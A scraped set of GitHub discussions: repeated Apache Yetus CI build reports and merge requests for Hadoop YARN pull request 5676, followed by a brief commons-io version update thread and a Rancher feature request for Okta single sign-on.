https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 08c58a9749b2 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / b02819605c58eb409f5b87e9528fcb00aa3a1997

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/4/testReport/

Max. process+thread count
2772 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/4/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

@goiri Can you help review this PR again? Thank you very much!

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 40s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+0 :ok:
xmllint
0m  0s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 2 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 58s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
20m 25s

trunk passed

+1 :green_heart:
compile
7m  0s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
6m 20s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 45s

trunk passed

+1 :green_heart:
mvnsite
5m 28s

trunk passed

+1 :green_heart:
javadoc
5m 44s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m  4s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 25s

trunk passed

+1 :green_heart:
shadedclient
19m 47s

branch has no errors when building and testing our client artifacts.

-0 :warning:
patch
20m  8s

Used diff version of patch file. Binary files and potentially other changes not applied. Please rebase and squash commits if necessary.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 29s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 29s

the patch passed

+1 :green_heart:
compile
6m 21s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 21s

the patch passed

+1 :green_heart:
compile
6m 21s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 21s

the patch passed

-1 :x:
blanks
0m  0s
/blanks-eol.txt
The patch has 1 line(s) that end in blanks. Use git apply --whitespace=fix <<patch_file>>. Refer https://git-scm.com/docs/git-apply

+1 :green_heart:
checkstyle
1m 38s

the patch passed

+1 :green_heart:
mvnsite
5m  6s

the patch passed

+1 :green_heart:
javadoc
5m 12s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 40s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 54s

the patch passed

+1 :green_heart:
shadedclient
20m  8s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

-1 :x:
unit
233m 19s
/patch-unit-hadoop-yarn-project_hadoop-yarn.txt
hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 14s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 46s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 32s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 45s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  2s

The patch does not generate ASF License warnings.

424m 55s

Reason
Tests

Failed junit tests
hadoop.yarn.server.timelineservice.security.TestTimelineAuthFilterForV2

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/5/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 4a198db34eb3 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 26d54383355b22bc5752d3c9b0d86ecad00db858

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/5/testReport/

Max. process+thread count
2701 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/5/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 35s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  1s

No case conflicting files found.

+0 :ok:
codespell
0m  1s

codespell was not available.

+0 :ok:
detsecrets
0m  1s

detect-secrets was not available.

+0 :ok:
xmllint
0m  1s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
18m 38s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
19m 40s

trunk passed

+1 :green_heart:
compile
7m  0s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
6m 21s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 50s

trunk passed

+1 :green_heart:
mvnsite
5m 32s

trunk passed

+1 :green_heart:
javadoc
5m 46s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 59s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 30s

trunk passed

+1 :green_heart:
shadedclient
20m  1s

branch has no errors when building and testing our client artifacts.

-0 :warning:
patch
20m 21s

Used diff version of patch file. Binary files and potentially other changes not applied. Please rebase and squash commits if necessary.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 29s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 32s

the patch passed

+1 :green_heart:
compile
6m 23s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 23s

the patch passed

+1 :green_heart:
compile
6m 14s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 14s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 38s

the patch passed

+1 :green_heart:
mvnsite
5m  0s

the patch passed

+1 :green_heart:
javadoc
5m 11s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 38s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 54s

the patch passed

+1 :green_heart:
shadedclient
20m  6s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
232m 26s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 14s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 45s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 32s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 46s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  5s

The patch does not generate ASF License warnings.

425m 48s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/7/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 7672dd3781d2 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 37b649099e4bda300df75e6c41dc58904d354c94

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/7/testReport/

Max. process+thread count
2620 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/7/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

@goiri Can you help to merge this pr into the trunk branch? Thank you very much! I will continue to backport YARN-7707.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 37s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+0 :ok:
xmllint
0m  0s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 59s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
19m 24s

trunk passed

+1 :green_heart:
compile
7m  0s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
6m 20s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
1m 49s

trunk passed

+1 :green_heart:
mvnsite
5m 31s

trunk passed

+1 :green_heart:
javadoc
5m 49s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m  3s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 26s

trunk passed

+1 :green_heart:
shadedclient
19m 46s

branch has no errors when building and testing our client artifacts.

-0 :warning:
patch
20m  6s

Used diff version of patch file. Binary files and potentially other changes not applied. Please rebase and squash commits if necessary.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 29s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
4m 33s

the patch passed

+1 :green_heart:
compile
6m 21s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
6m 21s

the patch passed

+1 :green_heart:
compile
6m 16s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
6m 16s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 36s

the patch passed

+1 :green_heart:
mvnsite
5m  7s

the patch passed

+1 :green_heart:
javadoc
5m  9s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
4m 37s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
15m 52s

the patch passed

+1 :green_heart:
shadedclient
20m  3s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
232m 32s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 15s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
5m 45s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 31s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 44s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m  2s

The patch does not generate ASF License warnings.

422m 52s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/8/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 6423ba96fb77 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 007e63018d94a90249aaa4b67b0d982f7977e9f6

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/8/testReport/

Max. process+thread count
2479 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/8/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 40s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+0 :ok:
detsecrets
0m  0s

detect-secrets was not available.

+0 :ok:
xmllint
0m  0s

xmllint was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 1 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
18m 31s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
21m  1s

trunk passed

+1 :green_heart:
compile
7m 50s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
compile
7m  8s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
checkstyle
2m  4s

trunk passed

+1 :green_heart:
mvnsite
6m 38s

trunk passed

+1 :green_heart:
javadoc
6m 29s

trunk passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m 43s

trunk passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
16m 33s

trunk passed

+1 :green_heart:
shadedclient
21m 39s

branch has no errors when building and testing our client artifacts.

-0 :warning:
patch
22m  3s

Used diff version of patch file. Binary files and potentially other changes not applied. Please rebase and squash commits if necessary.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 33s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m 11s

the patch passed

+1 :green_heart:
compile
7m  9s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javac
7m  9s

the patch passed

+1 :green_heart:
compile
7m 14s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
javac
7m 14s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
1m 55s

the patch passed

+1 :green_heart:
mvnsite
6m  3s

the patch passed

+1 :green_heart:
javadoc
5m 50s

the patch passed with JDK Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1

+1 :green_heart:
javadoc
5m 10s

the patch passed with JDK Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

+1 :green_heart:
spotbugs
16m 50s

the patch passed

+1 :green_heart:
shadedclient
21m 32s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
236m 53s

hadoop-yarn in the patch passed.

+1 :green_heart:
unit
1m 25s

hadoop-yarn-api in the patch passed.

+1 :green_heart:
unit
6m  5s

hadoop-yarn-common in the patch passed.

+1 :green_heart:
unit
3m 45s

hadoop-yarn-server-common in the patch passed.

+1 :green_heart:
unit
0m 54s

hadoop-yarn-server-globalpolicygenerator in the patch passed.

+1 :green_heart:
asflicense
1m 18s

The patch does not generate ASF License warnings.

448m 26s

Subsystem
Report/Notes

Docker
ClientAPI=1.43 ServerAPI=1.43 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/9/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/5676

Optional Tests
dupname asflicense codespell detsecrets xmllint compile javac javadoc mvninstall mvnsite unit shadedclient spotbugs checkstyle

uname
Linux 00b1deb34ae9 4.15.0-206-generic #217-Ubuntu SMP Fri Feb 3 19:10:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / 013d52d91ba788b761e37e214b696e08f8175e06

Default Java
Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-11.0.19+7-post-Ubuntu-0ubuntu120.04.1 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_362-8u372-ga~us1-0ubuntu1~20.04-b09

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/9/testReport/

Max. process+thread count
2553 (vs. ulimit of 5500)

modules
C: hadoop-yarn-project/hadoop-yarn hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-globalpolicygenerator U: hadoop-yarn-project/hadoop-yarn

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-5676/9/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0 https://yetus.apache.org

This message was automatically generated.

@goiri Can you help to merge this pr into the trunk branch? Thank you very much! I will continue to backport YARN-7707.

@goiri Thank you very much for your help in reviewing the code!


Update commons-io to 2.4

Hadoop2.3.0 uses version  2.4 as per http://central.maven.org/maven2/org/apache/hadoop/hadoop-project/2.3.0/hadoop-project-2.3.0.pom

:+1:

:+1:


Feature Request: Federated Access Control for SSO

Feature Request to work with Single Sign-On Providers like Okta.
https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm

FYI, blog article Using Okta (and other SAML IdPs) with Rancher 2.0. The author uses the SAML support in 2.0.7 and fakes Okta support by registering it as AD Federation Services (another SAML provider).

@kgeis thank you for the link. I came across it a few weeks ago and got Okta + Rancher 2.0 working by following his instructions (first time too!). I also followed up with @sullivanmatt who wrote it since we were seeing a few bugs and he was in touch with Rancher.
@superseb, Matt was working with @Oats87 , not sure what the status is but having Okta as a first-class SSO provider for Rancher would be excellent.

See https://github.com/rancher/rancher/issues/15574

Close in favor of https://github.com/rancher/rancher/issues/15574